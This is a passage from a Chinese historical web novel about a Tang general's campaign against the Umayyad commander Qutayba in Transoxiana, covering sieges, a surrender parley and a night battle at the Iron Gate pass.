在场的诸多骑兵将领都纷纷点头。骑兵长于奔袭野战,这样的要塞像个乌龟壳,再坚硬的羽箭也拿它没有办法。 张孝嵩从桌边站起来:“这个问题, 洛将军已经考虑到了。” 洛北自三年前大治安西时开始,便已知道有一日他会面对河中那些坚固的城池和堡垒。为此,他在碎叶城外十五里的地方设置了个兵器工坊, 还利用自己在兵部的那一点小小的关系, 用优渥的条件从长安招募来一批精于此道的工匠。他们同碎叶学宫中的学者们一道,对唐军本就精良的攻城武器进行了改造和加工。 “我与洛将军之所以分率两军前来河中,为的就是把这些东西安然运抵此地。” 张孝嵩望了一眼洛北,见他还是坐在那里, 没有一点说话的意思,便继续同众人说起那些武器: 他们有能抛出大石头, 最远攻击得到三百步外的投石车,在前方设置了尖角,可以操纵旋转的撞成利器, 还有巢车——这本是承载弓箭手来攻击城墙守军的,现在学者和能工巧匠们将它加高, 分为上下两层,一层弓箭手压制敌人,一层士兵登城攻杀。 昭武九姓的粟特王公们听得目瞪口呆,更有不少蛇鼠两端的人在心中暗暗发颤,这样的武器可以用于攻击大食人的要塞,自然就可以用于攻击他们自己的城堡。石国的前车之鉴,还在眼前。 唯有波婆提欢呼雀跃:“有利器如此,我安国复国有望!” 张孝嵩见众人对这些攻城器械如此感兴趣,干脆挥了挥手,叫人带着诸位王公去城外营地参观那些器械。待到粟特王公们都走出指挥所,他才望了一眼洛北——洛北凝望着那副地图的时间太久太久,好像是一副永恒不变的雕塑:“大帅不同意这个安排?” “不是不同意。”洛北终于站起身,他走到地图之前,把那副要塞地图摘下来,卷在了一边:“安国是康国以西的第一个城市,毫无疑问地会是我们的下一个战场,我只是在思考,然后呢?” “然后?”朱邪烈一时没有明白他的意思,“特勤前来收复河中,不就是……” “屈底波征服河中时是一个一个城市地攻击,不代表我们要和他一样,一个一个城市地收复。这些攻城器械威力巨大,一旦投入战场,便是毁城灭国。” “一路行来,你们也看到了,河中地区是在一片荒漠之中的小小绿洲,各国能有如今欣欣向荣的局面,皆因数百上千年的不停建设。但一旦我们这样一个城市、一个城市地打过去,这些地方就会变为一片焦土,因此我想谨慎一些。” 洛北说完,屋内又陷入一片沉默之中。在场众人皆知洛北有经略河中的意图,不愿把河中毁作一片焦土。 可照现在这个态势,他们势必会和大食人在河中拉锯数次。 洛北久久不能决断,他想了许久,干脆让一众将领解散回住处休息,若是有人要去参加乌勒伽的宴会,他也绝不阻拦。 “特勤是个仁慈的主帅。”朱邪烈屁股也像钉在指挥所里似的,动也不动,“但您未免也太看不起我们了,如今大局未定,我们哪睡得着觉啊!” “就是。”张孝嵩笑道,“建言献策,共同商议,本就是我们议事的初衷。洛将军,你可别又把担子一肩挑了。” 阙特勤把一只手放在他的肩上,轻轻拍了拍:“乌特特勤的英名,天下共知。河中征战数年,便是毁于一片焦土,也没有人能怪罪到你头上。” “再说。”他把手臂收回,双手背在身后,“战争本就是这样的。” 洛北哑然失笑,他又不是初出茅庐的新兵,不需要阙特勤的这番安慰。 但他也知道自己在迟疑什么,他生平经历鸣沙、灵州、荡平突骑施、平定阿史那匍俱等数场大战。那数千人数万人的碰撞,血肉横飞,兵戈交错的情况,早已是见得多了。不过归根究底,那些都是军人。他们在战场上以命相搏,便有此觉悟。 可如今在河中,他却要毁灭城市,甚至殃及平民……这对他来说,多少有了投鼠忌器的意味。 “伯克,伯克,紧急军情!”波善活从外面飞奔进来。 这位波斯王子出身贵胄,年纪又轻,虽然历经磨难,却依旧颇以“万王之王”的后裔沾沾自喜,甚至认为,只要自己回到波斯故地,振臂一呼,那些久受屈底波压制的波斯人便会群起响应,恢复他的波斯帝国。 洛北知道他身份尴尬,此刻不愿大张旗鼓,就把他丢到了自己的亲兵之中,让阿拔思教授他那一套骑射的功夫、作战的技巧……偶尔他自己也会和这位王子聊一聊治国安邦的道理。月余时间,他已从一位小王子变成一个彻底的军人,甚至跟着阿拔思改称洛北“伯克”。 他低身向洛北道礼:“伯克,吴判官让我来给您送信。屈底波已在木鹿城重新征招军队,目前已有五万人,他们不日将越过乌浒水。” “来得好快啊。”苏禄皱了皱眉,“将军,我愿出兵去阻击他们。” 洛北摇了摇头,没有立刻决断:“可有消息说他们要往哪里去?” “这个暂且不知。”波善活摇了摇头,“不过,以屈底波的个性。他应当会率军前来河中,与我们决战。” 洛北笑了,他重新站到地图之前:“屈底波大概也在犯难吧。吐火罗如今只有捺塞国相和阿史那都泥利的军队,看起来唾手可得。可河中一向富庶,是他就任呼罗珊总督以来的最大成果……我要把这个问题变得更复杂一些。” “朱邪烈!”他重新坐下身,发出命令,“你带一万兵马北上花剌子模,会同那里的粟特王公把大食人赶出去。” 朱邪烈接过令牌,以手抚肩:“遵命!” “孝嵩,你麾下的一万唐军携攻城器械攻击安国要塞中的大食人。但我的要求是,前十日,围而不攻,放任城中大食将领派遣使者求援,十日一到,立刻攻城,越快越好。”洛北道。 张孝嵩知道他心中已有了计较,闻言只是一笑:“好!” “苏禄、莫贺达干,两位分别率领麾下兵马去截断安国要塞的粮道和水源。”洛北道,“我的要求不高,十日,十日之内把要塞的粮道和水源都断掉。” “是!”两人齐声应和。 “阙特勤,你麾下全部兵马要集中在乌浒水一线设伏。”洛北转向阙特勤:“我把我麾下的兵马也拨给你,记住,二十日之内,我要大食援军寸步难行!” 阙特勤望见他那金色眼眸中的笑意,也忍不住笑了: “我知道你的意思,你是想以安国的要塞吸引住屈底波的援军,再设以重兵,让他们寸步难行。最后只能被我们一步一步地消灭掉。但我的问题是……倘若屈底波主力攻往吐火罗了呢?” “他一定会带兵去攻吐火罗的。”洛北漫不经心地回答阙特勤,“因为我会带着他的弟弟在铁门关等他。” 铁门关是吐火罗的北部门户,历来自乌浒水入吐火罗都要经过此地。那里地形复杂,易守难攻。 “你要自己去守铁门关?!”张孝嵩瞪大双眼,“将军,这……” 屈底波即使再分兵,自己率领的主力军队也不会少于一万人,洛北这可又是只留了三千亲军给自己! “大唐主帅和他被俘的弟弟,这个筹码应当足够他在分兵之后自己来铁门关。”洛北摆了摆手,示意张孝嵩不要质疑他,“安国要塞一破,孝嵩你即西行,会同昭武九姓的粟特军队攻击毕国的大食军队。苏禄和莫贺达干便来增援铁门关。” 他的话说得斩钉截铁,显然是无可置疑的军令。张孝嵩只得暗暗握拳,打算把攻占安国要塞的时间提得越前越好。 “待到毕国的大食军队也败退,阙特勤,你也要南下来铁门关。”洛北道,“我要在这里打一场长期战役,直到把屈底波这次征招的军队都消耗完毕为止。” 阙特勤颔首:“遵命。” 洛北的最后一个部署是关于张孝嵩的:“孝嵩,你攻占毕国之后,即可召集粟特王公在毕国会盟。你是朝廷的监军御史,可以重新授予他们大唐的官职和爵位。” “不。”出人意料的,张孝嵩当即拒绝了洛北,“他们都是安西都护府下辖的都督,重新册封这样的大事由我来做,并不合适。洛将军,我们就在毕国等你率军归来。” 190-200 第191章 “不要轻易生气,一生气就会拿出真本领,别人就会知道你没本领。” 景龙六年七月十四, 屈底波再度率领大军渡过乌浒水,向东进军。他骑在马上,回望身后重新拼凑起来的五万大军, 心中感慨万千。 仗打到这个地步, 已经变成他和洛北——阿史那乌特的一场盛大赌博。他已经敏锐地意识到,这场赌博的胜负不仅会影响其后数年之中河中及吐火罗之地的部署,其引发的涟漪还会影响大食和大唐这两个帝国的命运。 他率军越过乌浒水,把大军驻扎在巴依肯特,也就是唐人所说的毕国城下。自己则如往常一样入驻城中。在那里, 安国要塞中的求援使节已经等了他许久: “总督!唐军和粟特人的军队正在围攻我们的城市,我出发的时候要塞中的人民和士兵已经没有剩余的粮食了,水……水源也所剩无几, 总督,请您发兵,请您速速发兵!” 屈底波皱眉望着地图, 还未说话, 他派出去探查的小队也冲入他的驻地:“总督,大唐主帅提领军队,去了铁门关。据我们的可靠消息说,他还把您的弟弟, 拉赫曼将军也一起带走了。总督,您得救救拉赫曼将军, 得救救他。” 第三个冲入他的营帐的是花剌子模的大食残兵:“总督!总督!花剌子模城……破了。那里的唐人军队攻破了花剌子模的大门,进入了城中。他们打算重新设置……” 那残兵说着说着,见屈底波面色沉郁, 那压在心头,支撑他跑到这里的一股心劲儿又有些散了:“总督——”他张了张口, 嘶哑的喉咙里却发不出任何声音,就那样直愣愣地栽倒了下去。 营帐之中的大食将军七手八脚地把他拉起来,便有随军的教士为他拍打胸口和背部,喂他喝下一碗药酒。 “真是烽烟四起啊。”屈底波深深凝望着他帐中的将领们:“正教徒们,看起来河中地区的士兵已经被唐人的军队吓破了胆。他们变成了一群懦夫、胆小鬼。看到唐人旗帜,就只会向我求援。” 将领们看着他,谁也没有说话。 “可我告诉你们,这就是那魔鬼附身的唐人将军想要的。他想要我们的恐惧。”屈底波用力地一挥手:“可是我不怕他!我是征服河中的伟大将军,我把天神的光辉广播在我们能踏足的每一个地方,天神和先知在保佑着我们!” 屈底波眼见帐中的大食将领人人露出激奋神色,唇角微微勾起,举起一只握拳的手,提高了声调: “而他,他甚至连那拜火的宗教都不相信,而是自诩为神明的化身——凡人怎么能同神明相比呢?我们要戳破他虚假的偶像,我们要战斗!战斗到最终胜利为止!” 他的慷慨激昂激起帐内的群起呼应,有的大食将领甚至跳了起来: “是!” “天神万岁!” “万岁!” “现在,他把军队四散分开,为的就是扰乱我的目光,让我抓不住方向。”屈底波指了指地图,“但我已经看破了他的诡计!萨利赫!” 军帐中的走出一个与他模样有七分相似的男子,向他恭敬地道礼——萨利赫是他的兄弟,也是他的副将。 “你率我军一半的步兵和全部的骑兵,去救援安国。”屈底波道,“那里的唐军以步兵居多,无法抵御我们的骑兵冲击。” 萨利赫恭谨道:“是!” “而我自己,则要率兵前往——”他伸手在地图上落下一点:“铁门关!” 铁门关的关隘之内,两个少年人正在合力抬起一块大石头,好把它垒在另一块大石头上。但那两块石头都不算平整,那块大石头一被垒上去,就歪歪斜斜地震颤着,几乎要倒下来。 “小心!”正在四下巡视的洛北见此情景,赶忙飞快上前一步,伸手托了一把大石头。他看见这两个孩子未脱稚气的脸庞,不由得暗骂了一句:“捺塞国相真是胡闹!把这个岁数的孩子也派到前线来!像什么话!” “呀,伟大的特勤。”那打头的孩子竟能听懂汉话,“请您不要责怪我们的父亲。他说他自己不能亲自到场,甚为遗憾,所以把我们派来这里帮助您。” “你们是捺塞国相的孩子?洛北这才放缓了语气,“为什么不提早告诉我?你们应当是我营帐里的客人。而不是在这里抬石头。” 那孩子轻轻笑了:“特勤,我们吐火罗人是有历史的民族,我们有自己的尊严。您和您麾下的将士在为我们吐火罗人打仗,如果我们还躲在您的营帐里充当客人,恐怕是……是,是太不要脸了?” 他话到最末,终于想不出文雅的词汇,憋了半天,憋出一句大白话来。洛北莞尔一笑,没有阻止他们。 自他率领亲兵入驻铁门关以来,吐火罗叶护阿史那都泥利同吐火罗国相捺塞便接过了大军的后勤任务。他们组织自己的军队和百姓,前仆后继地为洛北的军队运送军需粮草,修筑工事。 “我还有些不适应。”阿拔思几度试图接过修筑工事的活计未果,终于只能同洛北一样,无所事事地在工事之间巡视,或在帐中看地图:“大战之前,咱们竟然什么也不用做,只消每天训练。” “箪食壶浆,以迎王师。”洛北笑了笑,“这是将士们入吐火罗以来,一路严守军纪的报答。不过,你还是要看着些,不要把炊事也放给他们了。” 阿拔思忍不住笑了:“我知道伯克谨慎,可这也太谨慎了。您还信不过百姓吗?” “不是信不过他们。吐火罗饮食习惯与我们不同。”洛北道,“若吃得不习惯,吃得不好,也容易让士兵们的战斗力打折扣。” 他话音犹在空中,一只金雕自空中盘旋数圈,终于落在他的手臂上。洛北摸了摸它油光水滑的羽毛,从它的爪子上取下一只信筒。 “吴判官的消息。”洛北凝望着湛蓝的天空,七月的吐火罗炎热依旧,晴空万里,一点风也没有:“屈底波分兵两队,一半去救安国,一半朝着铁门关来了。” “可是,伯克!”波善活听说来了认识的孩子,匆匆跑过来,听到洛北和阿拔思在商量军事,便也顾不上那俩孩子,驻足听了起来。等到这时,终于忍不住问道:“我们不是还攻打了花剌子模么?那个地方……” “那个地方距离河中的主战场太远,已经被屈底波抛弃了。三日之前,朱邪烈便已经攻克那里。”洛北把纸条撕碎,抛向空中,“我让朱邪烈留守那里,不必向南增援。” “现在,就等屈底波到来了。” 景龙七年八月十五,中秋之夜,屈底波率领两万余人的大军,抵达铁门关,抵达了洛北为他准备的战场。 屈底波这一次把大营安扎在乌浒水沿岸的荒原之中。他还记得上一次洛北亲临他阵前时给他的军队造成的恐慌。因此特意把自己与洛北的军队拉开了距离。他派三千骁勇的战士往铁门关下叫阵,叫洛北与他决一死战。 “这是想打击我军士气!”阿拔思与洛北同在新垒的城头眺望,“将军,我们……” “不要管他们。”洛北道,“我们背靠吐火罗,不愁补给,现在是他们越境作战的时候,屈底波比我们着急。” 一连数日,屈底波日日派人前来叫嚣,洛北日日坐如泰山,任由自己麾下的将士们牧马行猎,就是绝口不提出城作战的事情待到八月末,连吐火罗叶护阿史那都泥利都坐不住了,他亲自来到洛北的军营,要求面见洛北: “特勤……” “怎么了?”洛北好奇地望着他,阿史那都泥利素知自己在军事上暗弱无能,自洛北重定吐火罗改建都督府后,他是从来不过问军务的。 “佛祖在上,听到那些士兵骂的污言秽语,您……您就不生气吗?”阿史那都泥利道——他们几乎都不懂大食语,但听了几个懂大食语的粟特商人一翻译,顿时觉得洛北的稳如泰山毫无道理。 洛北翻开手中的一页书:“我为什么要生气?我刚回到突厥的时候,听到过的难听话比这多多了。” “但,但您总是这样坚守不出,会让人,会让人觉得您怯懦的。”阿史那都泥利道。 洛北见他欲言又止,止言又欲的模样,已猜到他此来的真实意图:“你是想来劝我早日打完大食,好让吐火罗的农民们预备秋收了,是不是?” 阿史那都泥利见他一语道破,脸上那股扭捏神色终于消失了,连忙道:“不愧是能看破一切的乌特特勤。是啊,特勤,吐火罗战争年年,好容易得了安定,这……” “我知道了。”洛北挥挥手打断了他的发言:“叶护放心,一月之内,此战必定结束。不会太耽误秋收的。” 他打了个送客的手势,示意士兵把阿史那都泥利请出营帐。还未走远,波善活已经皱着眉道:“叶护这话说得好没道理,过去我们同大食人打仗的时候,他怎么不劝大食人早点结束战争,好留时间秋收?就是他自己领兵作战的时候……” “波善活,”洛北叫了他一声名字,“大食人是敌人,而我们是盟友。” “那,将军准备出兵么?”阿拔思问。 洛北摇了摇头:“不,至少现在不。” 洛北有地势之利,屈底波不敢轻举妄动。他眼见数日叫嚣不得,不得不拿出了过去大唐及河中各地的将军们作战才会用的办法。他驱使自己从河中各地掳掠而来的工匠、百姓,开始深挖地道,想要从地道破城。 洛北对此并不理会,于是那地道越挖越深,城墙越来越摇摇欲坠,终于到了阿拔思都看不下去的地步:“伯克!我们不对付那些地道,简直就是在以身犯险!” “地道在外,内部想要修缮,大为不易。”洛北不为所动,“轻易出城,才是以身犯险,你知道大食有句俗话吗?” “什么俗话?” “不要轻易生气,一生气就会拿出真本领,别人就会知道你没本领。”洛北道。 阿拔思无奈地笑了:“伯克。我不明白,当初在多逻斯水,以两万对五万,您尚且不畏惧,怎么到了今天,以三千对两万,您突然审慎起来了?” 第192章 “人生百年,终有一死。若能死得其所,青史留名,我又有何惧。” “因为这一仗我们输不起。”洛北站起身来, 走上高高的城头向下望着铁门关外的一片荒野,那里已被大食人的军帐占据,那军帐层层叠叠, 一望无际。 “我们劳师远征, 在别人的土地上打仗,一旦失败,就会面临着身前的敌人和身后的背叛。作为大军主帅,我不能去赌,也不敢去赌。” 关下又有大食人前来叫阵, 向他们站立的位置射出一支支羽箭,大部分未落到他们面前,就被城墙挡去, 还有少数落在他们脚下。 洛北没有在城头当活靶子的爱好,拉了阿拔思一把,两人一道向下走去:“我们一日不和屈底波交战, 屈底波就会被困在这里一日。孝嵩他们的仗就更好打一些。” 洛北说着, 仿佛觉察到什么,微微偏过头,躲开身后飞来的一只羽箭。羽箭带起的风擦过他的脸侧,牢牢地钉在他面前的土墙上。 “可惜, 知不可为比知可为要难得多。”洛北轻轻叹息一声,终于还是忍不住, 上前一步从土墙上摘下羽箭,取了一把大弓,快跑几步登上城头。 那几个大食游骑已经射空了箭囊中的羽箭, 正骑马在城下耀武扬威,见到洛北取弓在手, 也丝毫不惧,扯着嗓子用大食话继续叫骂。 洛北弯弓搭箭,金色的眼眸中倒映出箭尖所指的方向——那是这队游骑队长的眉心。 “咻——”他手上一松,羽箭破空而过,那人未及躲避,便眉心中箭,倒在马背上。 剩下的游骑顿时傻了眼,见洛北左手不动,右手向身侧伸去,似乎还要拿箭,忙不迭地催起马来,四散逃开了。 阿拔思被这神乎其技的箭法惊得瞪大眼睛:“这……伯克……”半晌才反应过来,边笑边鼓起掌来:“古有惊弓之鸟,今有惊弓之人!” 洛北那张英俊的脸上露出一点轻狂肆意的笑容:“也就只能这样了。走吧,阿拔思。” 阿拔思“哦”了一声,又望了一眼那游骑散开的方向,突然明白洛北语气里那种惆怅是从何而来。 他眼前的这位深谋远虑,算无遗策的大唐主帅,其实还是个比他要年轻的将军啊。 若不是为了最终的胜利,洛北怎么会舍得放弃冲杀敌阵、一骑破千的潇洒肆意,反倒以身为饵,背着“怯懦”的名声,和敌方主帅在这里打一场比拼定力的战争? “伯克,”他追上洛北,似乎是为了安慰他,也似乎是为了岔开话题,“安国那边,怎么样了?” 到八月二十日,唐军已围攻大食人盘踞的安国要塞整整二十五天了。 张孝嵩有粟特人的帮助,几乎是轻而易举地占据了要塞外的有利地形。他居高临下,动用起大唐的各种精锐攻城器械,对安国要塞连续发动了十八日的攻击。 这十八日间,大食人拆掉了要塞中的大部分门窗、房屋、家具来应付那些如雨的落石和飞箭,时不时撞击城墙的角车。 张孝嵩站在临时搭建起来的工事向城中望去,只能看到一片断壁残垣。 吴钩从他身后登上来,也望着要塞之中:“张御史,到今日,大食人已经断水五日了。我派出去的探子已经听不到战马的嘶鸣,想来他们已经没有战马可吃了。” “快到我们总攻的时候了。”张孝嵩凝望着要塞外围的城墙,十八日的袭扰性攻击,已让城墙下尸骨堆积,有大食人的、有粟特人的,当然也有他从安西带出来的唐人的,等到发起总攻之时,这里不知道会是什么样的人间地狱。 “张御史,我有一请。”吴钩犹豫片刻,还是说道,“我想去劝降。” “劝降?”张孝嵩讶然望着他,两道英挺的眉毛扭在了一起,“这些大食人把我们视作追随魔鬼的异教徒,许多人以杀死我们为己任。你去劝降,太危险了。” “再坚定的信仰,也抵不过现实的压力。没有吃的,没有水,他们连命都活不了,不要说信与不信了。”吴钩道,“我愿意冒险,也是考虑到铁门关的战事未定。洛将军孤领三千兵马与屈底波对峙,太危险了。我们这里的战斗越早解决,他那里就越早能安全。” 张孝嵩何尝不为洛北这位主帅的性命担忧。在洛北未曾领兵出发之前,他和阙特勤都反复劝说,愿意以己身相代,连远在吐蕃的哥舒亶都来了信。但洛北一意孤行,只道: “若能一战收复河中,我看这个险,值得冒。” 吴钩见张孝嵩沉默不语,心知自己的劝说有效,又道: “这十八日虽说未曾大规模发起总攻,但我们的各路兵马无不伤疲交加,他们需要休整。再说,若能和平收复这样的要塞,之后我们对付其他大食人盘踞的地方,也算是有了个榜样。” 张孝嵩有些动容,转头看他一眼,见他目光赤诚,不似作伪,犹豫片刻,还是摆了摆手:“不行,我不同意。你是洛北特意调来执掌我军机要情报的官员,也是洛北的朋友,你若是出了事,我怎么和他交代?” 吴钩哈哈大笑:“人生百年,终有一死。若能死得其所,青史留名,我又有何惧。不过,请张御史放心,我已经备下了金银财宝。按照大食人的规矩,我是可以拿钱买自己的命的。” 张孝嵩见他执拗,也不坚持。他从军中点起精锐三人,同吴钩一道来到安国要塞之下。又命两侧埋伏弓箭手和骑兵,打算见势不对,立刻发动总攻。 吴钩也是唐军中为数不多能说大食话的人:“喂,那边的将军听着,我奉命来劝降你们!你们让我进去!” “我们大食人不投降!”要塞的那边传来一声嘶喊。 “投降了,就有水喝!就有肉吃!”吴钩命随从的士兵将两个装满清水的水瓮打碎在地上,“多好的水啊,乌浒水的雪水,清澈、干净。”他用力地喝了一口:“还有甜味呢!” 要塞那边的沉默更久了。半晌,又传来一句:“我们大食人不投降!” “你们自己想想吧,勇士们,屈底波是什么样的出身?他不过是巴着宰相哈贾吉才当上了总督。他和他的家族想要在河中站稳脚跟,就必须凌驾在你们所有人的部族之上。最好的办法,就是叫你们来送死,自己在后方观望。” “你说谎话!”要塞中露出一张愤怒的大食人脸庞,“狡猾的唐人,你以为靠谎言就可以欺骗天神的战士?我们不会投降的!” “这是个很简单的问题。”吴钩笑了,“屈底波再度召集大军来到了河中,可他却急急忙忙地去了铁门关,去那里解救他自己的弟弟。你们派出去这么多的使者,这么长的时间,你们看到他派来的一兵一卒了吗?” “他用天神的利益,正教徒的利益来哄骗你们,其实自己却把自己的利益凌驾在了你们所有人之上!” “好好想想吧,大食人的勇士们。好好想想。现在太阳还有一点距离到日中,在日中之前跑出来的战士,我们给你们清水喝!给你们面饼吃!”吴钩道,“日中之后,我们就要发起总攻了!” 要塞的里面是死一样的寂静,没有人发声了,也没有人出来。在太阳缓缓地爬升中,时间一分一秒地过去。 就在张孝嵩等得不耐烦,要下令总攻之时。要塞的大门缓缓打开了,一批身上带着血的大食士兵从里面冲了出来,有的一头扎进唐军的大瓮里,张口就喝。有的泼起水洒到自己的身上脸上…… 张孝嵩率领唐军士兵,会同波善活一道进入要塞之中。那里躺了一地横七竖八的尸体,有几个衣着华贵,应当是将军模样的人,浑身是血,气息却尚未完全断绝,正瞪着眼看着要塞的天花板。 “这是营啸了。”张孝嵩对这种情况有所了解,在生死的极限之间,这些本已十分紧张,几乎在崩溃边缘的士兵们收到了将军更加严苛的命令。于是,他们集体陷入了疯狂之中,最终造成了无可挽回的营啸。 波善活看着剩余的断壁残垣,摇了摇头:“张御史放心,我们之后会以火来清洁这片要塞,愿他们的灵魂在圣火的洗涤中得到拯救。” 那些出逃的士兵吃饱喝足之后,有不少人再度开始了逃跑——复国的粟特人看到了自己的家人、伙伴与朋友的尸首,要把怒火倾泻在这些双手沾满鲜血的大食士兵身上。 张孝嵩不想助长这种仇杀的恐怖情绪,一旦粟特人杀红了眼,他们就不可能再听从他的军令。因此,他除了勒令粟特各国的王公们管住自己的手下之外,还特意命令手下士兵,对这些大食人的逃跑睁一只眼闭一只眼。 这些大食人不敢再在河中停留,他们顺着河流跋涉荒漠,来到了铁门关外屈底波军营之中,向自己的主帅认罪、忏悔。 屈底波怒不可遏——他本想先破河中,再集中精力来对付洛北,没想到派出去的兵马如此不顶用,更没想到安国那固若金汤的要塞竟在不到一月之内就被攻破。 “你们来得太晚了。”他嫌恶地望着那些在他身边痛哭流涕的士兵,“我这里没有预备你们的粮草。” 他的话音未落,军法官已从自己的营帐里来到了这片空地之上。有几个士兵见状不对想要逃跑,被周围的屈底波的卫队当场射杀。 “把这些人钉死在木桩上。”屈底波高声下令,“让他们知道懦夫的下场!” “另外——” 他望着高处的铁门关下定了决心: “明日起,集中兵力,攻击铁门关!” 第193章 “今夜无星无月,让这场大战开始吧!” 这一夜, 秋风大起,猎猎狂风,刮得那面设在高处的帅旗飒飒作响。 自安国要塞攻破之后, 苏禄与莫贺达干率领麾下的左右骑兵, 一路疾驰,在河中的混乱掩护下扎营在了大食人军帐后方。 他们自己则趁着夜色,率领着卫队飞骑而来。 洛北的大帐之中,灯火通明。这位一直以闲散示人的年轻主帅终于披挂上了全副明光铠,他站在那面巨大的地图之前, 向着一帐军将发出命令: “大食人曾在自己的书中夸耀,说他们是荒野之中的游牧民族,极其善于夜袭。” “现在——”他拖长尾音, 扫视了众人一圈:“终于到了见真章的时候。” “今夜无星无月,让这场大战开始吧!” 睡梦中的大食人是被落石唤醒的。自铁门关城头摆设的数只投石机终于在这个夜晚派上了应有的用场。面对这从天而降的“不速之客”,屈底波一边急命部将们收拢部队, 一边跳上骏马, 开始在一片混乱中指挥作战。 唐人的羽箭如飞雨,从四面八方的黑暗里射过来。这样强大的骑兵军团,是屈底波在之前的战役中从未见识过的。他勉力聚集起来的军阵再度被打散,士兵四处寻找掩体和遮挡保护自己。 在这片箭雨之中, 一支鸣镝划破天际,像长了眼睛似的直直地向他的方向飞了过来, 尖锐的破空声几乎撕破了众人的耳膜。屈底波下意识地偏头一让,鸣镝的侧边擦过他的脸颊,留下一道长长血痕。 “该死的被魔鬼附身的唐人!” 他忍不住破口大骂, 在稍歇的箭雨之间组织军队进行反击。夜空之中,赤色的唐军大旗和一只银色的飞鹰向着这个方向压了过来, 一骑当千,冲在最前的那位唐人将领身着明光铠甲——金色的眼眸在夜色里熠熠生辉。 正是大唐主将洛北本人。 洛北麾下的骑兵皆着玄甲,装备精良,带队冲锋的都是各队骁勇,手持长槊。他们追随在主帅身后,义无反顾地扎进了大食军阵之中。 两军几乎是在相撞的一瞬间就陷入了血战,有的唐军被大食人掀下马去,更多的大食人根本顶不住唐军的攻击,或伤或倒,一瞬间战场上血雾横飞,兵戈震天。 “该死的唐人究竟有多少兵马!” 屈底波的怒吼在混乱的战场上显得微不足道,他挥舞着手中的弯刀,试图稳定军心,但唐军的攻势如同潮水般汹涌,一波接一波,似乎永无止境。 好几次他甚至看到了洛北冲到他近前的位置,只是被他周围英勇的大食人挡住脚步——洛北的明光铠甲在火光的映照下闪耀着冷冽的光芒,他手中的长槊如同死神,每一次挥舞都收割着敌人的生命。 “集结军队,后撤!后撤!”再这样交战下去对自己毫无裨益,屈底波急命传令后撤。 “撤不了了,总督!”一个浑身是血的士兵穿过一个个焦灼的战团向他汇报。还没跑到他的近前,马匹已经中刀,连带他一道滚落在地,“唐人有伏军!” 苏禄和莫贺达干的骑兵部队如同幽灵般地出现在大食军营的后侧,如两把尖刀插入了大食军队的薄弱地带。屈底波存放粮草的位置已经燃起熊熊大火,火光耀红了半个天际。 这代表即使这一仗打赢,屈底波也会面对无粮可吃的绝境。 “撤退!”屈底波再度下令,“放弃辎重!放弃补给!先撤出唐人的包围圈!否则一旦让唐军会师,我们就会被彻底困死在这里!” “可是总督!”他的亲信副官忍不住高声询问:“正在和唐人战斗的士兵怎么办?” “如果来不及撤出,只能说他们命该如此。”屈底波挥舞弯刀,“走!” 天际破晓的时候,大食人的主力完全撤出了这片阵地。唐军的后勤分队开始在被烧为一片白地的军营阵地之上四处搜寻伤者、掩埋死者,顺便检视那些被遗留的辎重。 洛北走过这一片焦土与残垣,停在那一个个木桩上的尸首之前,只要他们晚来一天,就不会与屈底波碰上。 “屈底波对待部下酷烈暴虐如此。”洛北回头对阿拔思道,“恐怕不会得到善终。” 阿拔思笑了:“伯克怎么感怀起这些?” “他抛弃那些与我军交战的士兵,立刻向西北方向他的老巢逃窜,确实是壮士断腕之举,也是在昨夜那种混乱之中能做出的最优选择。”洛北道,“可战争不是计算题,它是由一个个因素叠加的复杂产物。他把自己麾下的士兵都视作可以任意操纵的蝼蚁棋子……” “特勤在说什么?好热闹。”莫贺达干和苏禄联袂而来,两人脸上都是喜气洋洋,显然是来给洛北请功的。 “苏禄将军。”洛北停住感慨,转向苏禄,“看你这模样,是发了财了吧?” “特勤可不要误会我。”苏禄和莫贺达干对视一眼,“我已经和莫贺达干对过了,正要把大食军队那些辎重还给您呢。” “用不着。”洛北轻轻一笑,“将士们凭本事拿到的,再交给我这位主帅,算什么名堂?我不仅不收他们缴获的辎重,我还要加赏,厚赏!若无你们日夜兼程,绕过屈底波的耳目增援铁门,今日安能取胜?” 莫贺达干笑了:“我就说特勤大方,绝不会在乎这些金银财宝。他小子不相信我。” 苏禄见众人脸上都是笑意,也自嘲似的笑了笑:“是我,是我小气了。” “让部队稍作休整吧。”洛北挥了挥手,“屈底波不愧是大食名将,他至少完整地带走了一万多人……建制不溃,军心不散。我们还有仗要打。” 阿拔思向他抱拳请命:“请伯克允许我带兵追击!他们已经断了粮草,只要我们保持攻击,迟早能把他们打崩。” “你啊。”洛北示意他低头看马蹄印,“马蹄印排列有序,旌旗不倒,这是随便就能被你打崩的样子吗?我和你打赌,屈底波已经在路上设下了埋伏,就等我们往上撞。” 阿拔思还要再说什么,洛北已经举起一只手,中断了这番讨论:“传我军令,全军休整,等待阙特勤的军队与我们会师,再做下一轮攻击。” 铁门关以北,便是昭武九姓的史国所在。史国国君阿忽必多延屯得益于大唐西征,刚刚复国。他以一种极为恭敬的态度把洛北迎入他的王宫之中:“请大唐天军稍事休息,小国自当奉以粮草军饷,还备有乐舞和兽戏,请将军观赏。” 洛北微微皱眉:“仗还没有打完,不是娱乐的时候。国君心意,我心领了。我已命大军驻扎城外,禁止他们随意入城,我也不例外——” 他连战连捷,自有积威,那史国国君不敢争辩,只得匆匆领命。莫贺达干却笑着劝他:“将军何必对自己如此严苛,我们反正要等阙特勤大军到来再进攻大食人,您自己享受享受,也没什么。不然,多无聊啊。” 要让洛北自己说,等待阙特勤大军到来的日子比起无聊,更贴切的词汇是焦灼。他几乎日日要登上铁门山,望着阙特勤大军的方向。 主帅的这种焦虑的态度逐渐感染了军中的所有将领。苏禄终于忍不住来劝他:“特勤,阙特勤毕竟是东突厥的‘西面设’,是我们的敌人,若是他私下里与大食人媾和,我们该怎么办?” “我相信阙特勤的为人。”洛北望着一片阴沉的天色,语气坚定。 “可安国要塞被破已经一月,他为什么还没有率军赶到?就连使者也没有派来一位,这太不同寻常了。”阿拔思也忍不住问——连他这样追随洛北多年的人,都对洛北对阙特勤的信任感到奇怪。 洛北摇了摇头:“我不知道,至少现在不知道。我只能推测其中起了变故,连阙特勤自己都无法掌控的变故。” 他皱起眉,牢牢地盯着厚重的云层,几乎要用目光洞穿云层。几乎是恍惚之间,一只金雕穿破云层,向他们这边飞来。 洛北让金雕落在自己肩上,取下了它爪上系的纸条: “……毕国的大食守军向我们投降了?” “什么?”在场众将无不惊诧。 